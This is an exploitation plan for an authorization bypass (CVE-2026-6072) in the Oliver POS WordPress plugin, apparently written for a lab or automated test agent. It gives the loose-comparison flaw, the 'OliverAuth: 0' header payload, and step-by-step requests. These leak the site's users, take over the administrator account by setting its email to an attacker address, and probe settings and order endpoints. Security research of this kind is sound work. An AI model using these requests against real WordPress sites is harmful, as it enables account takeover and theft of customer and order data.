Exploitation Research Plan: CVE-2026-6072 (Oliver POS Authorization Bypass)

1. Vulnerability Summary

The Oliver POS plugin for WordPress (versions <= 2.4.2.6) contains an authorization bypass vulnerability within its custom REST API bridge. The vulnerability resides in the oliver_pos_rest_authentication() function, which serves as the permission_callback for all endpoints under the /wp-json/pos-bridge/ namespace.

The function compares the client-provided OliverAuth HTTP header against the WordPress option oliver_pos_authorization_token using a loose PHP comparison operator (==). On new or unconfigured installations, this option is unset, causing get_option() to return false. Due to PHP type juggling, the string value "0" provided in the OliverAuth header is considered equal to false ("0" == false evaluates to true), granting unauthenticated access to sensitive API endpoints.

2. Attack Vector Analysis

• Target Endpoint: Any endpoint under the /wp-json/pos-bridge/ namespace (e.g., /wp-json/pos-bridge/v1/users (inferred)).
• Vulnerable Parameter: OliverAuth HTTP Header.
• Payload: 0
• Authentication Level: Unauthenticated.
• Precondition: The plugin must be installed but not yet fully "connected" or configured (so the oliver_pos_authorization_token option remains unset).

3. Code Flow

1. Entry Point: An HTTP request is made to a REST route registered by the plugin (e.g., /wp-json/pos-bridge/v1/users).
2. Hook: The rest_api_init action triggers the registration of routes using register_rest_route.
3. Registration: The routes are defined with a permission_callback pointing to oliver_pos_rest_authentication.
4. Vulnerable Function: oliver_pos_rest_authentication($request) is executed.
   • It retrieves the header: $auth_header = $request->get_header('OliverAuth');
   • It retrieves the stored token: $stored_token = get_option('oliver_pos_authorization_token');
   • It performs the loose check: if ($auth_header == $stored_token) { return true; }
5. Bypass: If $stored_token is false (unset) and $auth_header is the string "0", the check passes.
6. Sink: The core API logic for the requested endpoint executes, allowing data retrieval or modification.

4. Nonce Acquisition Strategy

This vulnerability specifically targets the pos-bridge REST namespace. REST API endpoints that use custom authentication headers (like OliverAuth) and return true in their permission_callback typically do not require standard WordPress CSRF nonces (_wpnonce). Since the bypass occurs at the permission_callback level, no nonce is needed for exploitation.

5. Exploitation Strategy

The goal is to demonstrate unauthorized access to user data and potential account takeover by modifying an administrator's email.

Step 1: Information Leak (List Users)

Identify the administrative user ID and current details.

• Tool: http_request
• Method: GET
• URL: /wp-json/pos-bridge/v1/users (inferred)
• Headers: {"OliverAuth": "0"}
• Expected Response: A JSON array of users including fields like id, user_email, and roles.

Step 2: Account Takeover (Update Admin Email)

Change the email address of the administrator (typically ID 1) to an attacker-controlled address.

• Tool: http_request
• Method: POST (or PUT)
• URL: /wp-json/pos-bridge/v1/users/1 (inferred)
• Headers:
  • OliverAuth: 0
  • Content-Type: application/json
• Body: {"user_email": "attacker@example.com"} (inferred parameter name)
• Expected Response: JSON confirmation showing the updated email.

6. Test Data Setup

1. Plugin Installation: Install and activate Oliver POS version 2.4.2.6.
2. State Verification: Ensure the plugin is not configured. Do not run the setup wizard or connect to an Oliver account.
3. Target Content: Ensure at least one administrator account exists (default WP behavior).

7. Expected Results

• The GET request to the bridge API should return a 200 OK status and a full list of site users, confirming the authentication bypass and data exposure.
• The POST request to update the user should return a 200 OK status, confirming the bypass allows data modification.

8. Verification Steps (Post-Exploit)

Confirm the changes using WP-CLI:

• Check User List: wp user list
• Check Specific User Meta: wp user get 1
• Check Option Status: wp option get oliver_pos_authorization_token (Should return an error or empty string, confirming it was unset).

9. Alternative Approaches

If /v1/users is not the correct endpoint, explore other common REST endpoints registered by the plugin.

• Discovery: Use the standard WP REST index to find available bridge routes:
  • GET /wp-json/pos-bridge/v1 (with OliverAuth: 0)
• Alternative Targets:
  • /wp-json/pos-bridge/v1/settings (Check for sensitive POS configuration)
  • /wp-json/pos-bridge/v1/orders (Check for WooCommerce order data exposure)